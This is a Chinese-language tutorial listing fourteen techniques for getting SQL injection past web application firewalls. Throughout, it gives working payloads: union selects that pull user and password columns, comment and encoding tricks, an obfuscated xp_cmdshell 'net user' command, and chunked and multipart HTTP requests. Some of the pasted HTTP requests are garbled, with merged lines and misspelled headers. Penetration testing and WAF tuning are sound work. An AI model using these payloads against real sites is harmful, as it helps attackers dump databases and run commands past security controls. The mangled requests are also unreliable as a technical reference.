介紹:
WAF(Web應用防火墻,Web Application Firewall的簡稱)是通過執行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的產品。WAF可以發現和攔截各類Web層面的攻擊,記錄攻擊日志,實時預警提醒,在Web應用本身存在缺陷的情況下保障其安全。但是,WAF不是萬能的、完美的、無懈可擊的,在種種原因下,它們也會有各自的缺陷,不可以盲目相信WAF而不注重自身的安全。
云waf
硬件waf
軟件waf
網站內置waf
1.雙寫注入繞過
2.大小寫繞過
3.臟數據繞過
即傳入一段長數據使waf失效,從而實現繞過waf。某些waf處理POST的數據時,只會檢測開頭的8K,后面選擇全部放過。例如,當發現某網站存在一個反序列化漏洞時,但是無回顯,被waf攔截了
4.復參數繞過(&id=)
GET /pen/news.php?id=1 union select user,password from mysql.userGET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user很多WAF都可以這樣繞,測試最新版WAF能繞過部分語句。
5.高并發繞過
對請求進行并發,攻擊請求會被負載均衡調度到不同節點,導致某些請求繞過了waf的攔截
6.特殊字符替換空格
用一些特殊字符代替空格,比如在mysql中%0a是換行,可以代替空格,這個方法也可以部分繞過最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2特殊字符有:mysql:%0a/**/可以繞過最新版本WAF sqlerver:/**//*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5這條語句不行,看一下防護日志,是因為把uaer函數加入黑名單啦。替換user即可。
7.使用其他變量或者命令對注入語句進行替換
COMMAND | WHAT TO USE INSTEADgroup_concat() | concat_ws()
8.HTTP參數污染
在 php 語言中 id=1&id=2 后面的值會自動覆蓋前面的值,不同的語言有不同的特性。可以利用這點繞過一 些 waf 的攔截。
9.特殊字符拼接(+)
把特殊字符拼接起來繞過WAF的檢測,比如在Mysql中,可以利用注釋/**/來繞過,在mssql中,函數里面可以用+來拼接如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')可以改為:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
10.數據格式混淆
利用數據格式解析缺陷,存在兩種提交表單數據的請求類型application/x-www-form-urlencodedmultipart/form-data 支持key-Value方式當然,除了這種方式外一些其他方式也可能繞過waf,例如將傳入json數據,將其修改為HTTP請求,或者修改content-type等方式(當然是在應用能夠正常解析的前提下)
11.編碼繞過
對請求數據進行編碼,例如url編碼,Unicode編碼等,如果waf對數據不能有效解碼,而應用后端能夠正常解碼,就可以繞過waf。例如最常見的url編碼,對數據進行二次url編碼,waf進行一次解碼并不能解析到有效的數據,而后端在進行解碼時傳入的為有效的惡意數據。將id=1 and 1=1 寫為 id=1/*!and*/1=1
12.利用WAF本身的功能繞過
例:uni*on+sel*ect+1,2,3,4....假如發現WAF會把"*"替換為空,那么就可以利用這一特性來進行繞過http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....其它方法-15+(union)+(select)….-15+(union+select)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
13.利用http協議繞過waf
先在數據包中添加Transfer-Encoding: chunked數字代表下一列字符所占位數,最后需要用0獨占一行表示結束,結尾需要兩個回車在頭部加入 Transfer-Encoding: chunked 之后,就代表這個報文采用了分塊編碼。這時,post請求報文中的數據部分需要改為用一系列分塊來傳輸。每個分塊包含十六進制的長度值和數據,長度值獨占一行,長度不包括它結尾的,也不包括分塊數據結尾的,且最后需要用0獨占一行表示結束。注意:分塊編碼傳輸需要將關鍵字and,or,select ,union等關鍵字拆開編碼,不然仍然會被waf攔截。編碼過程中長度需包括空格的長度。最后用0表示編碼結束,并在0后空兩行表示數據包結束,不然點擊提交按鈕后會看到一直處于waiting狀態。Upgrade-Insecure-Requests: Iontent-Type: application/x-www-form-urlencodedhttp協議是由tcp協議封裝而來,當瀏覽器發起一個http請求時,瀏覽器先和服務器建立起連接tcp連接,然后發送http數據包(即用burpsuite截獲的數據),其中包含了一個Connection字段,一般值為close,apache等容器根據這個字段決定是保持該tcp連接或是斷開。當發送的內容太大,超過一個http包容量,需要分多次發送時,值會變成keep-alive,即本次發起的http請求所建立的tcp連接不斷開,直到所發送內容結束Connection為close為止。l先關閉burpsuite長度更新,為get請求,先使用bp的method轉換為POST請求lget請求中空格使用%20代替,Connection改為keep-alive點擊burp中Repeater,在下拉選項中取消update Content-Length選中。POST /sqlinject.php Http/1.0User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8Accept-Language: en-US,en:q=0.5Referer:http://127.0.0.1/sqlinjectphp?id=1Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1id=1post/sqlinjeCt.php Http/1.0User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8Accept-Language: en-US, en, q=0.5Referer:http://127.0.0.1/sqlinjectphp?id=1Content-Type: application/x-www-form-urlencodedpgrade-Insecure-Requests: 1然后你會收到兩個返回包,不過這種方法有可能被waf給攔截HTTP頭里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三種,其中multipart/form-data表示數據被編碼為一條消息,頁上的每個控件對應消息中的一個部分。所以,當waf沒有規則匹配該協議傳輸的數據時可被繞過。將頭部Content-Type改為multipart/form-data; boundary=69 然后設置分割符內的Content-Disposition的name為要傳參數的名稱。數據部分則放在分割結束符上一行。由于是正常數據提交,數據是能被apache容器正確解析的,嘗試1 and 1=1也會被某狗waf攔截,但如果其他waf沒有規則攔截這種方式提交的數據包,那么同樣能繞過。POST /sQlinJect php Http/1.0User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8Accept-Language: en-US, en: q=0.5Referer:http://127.0.0.1/sqlinject.php?idContent-Type: multipart/form-data; boundary=69Upgrade-Insecure-Requests:1Content-Disposition: form-data; name="id"
14.請求方式轉換
過濾了get但是沒有過濾post、cookie。waf默認是關閉的waf 在對危險字符進行檢測的時候,分別為 post 請求和 get 或者其它的請求方式設定了不同的匹配規則,請求被攔截,變 換請求方式有幾率能繞過檢測或者修改為其它允許的方式,例如options, head等提交方式。
該文章在 2023/10/30 10:59:24 編輯過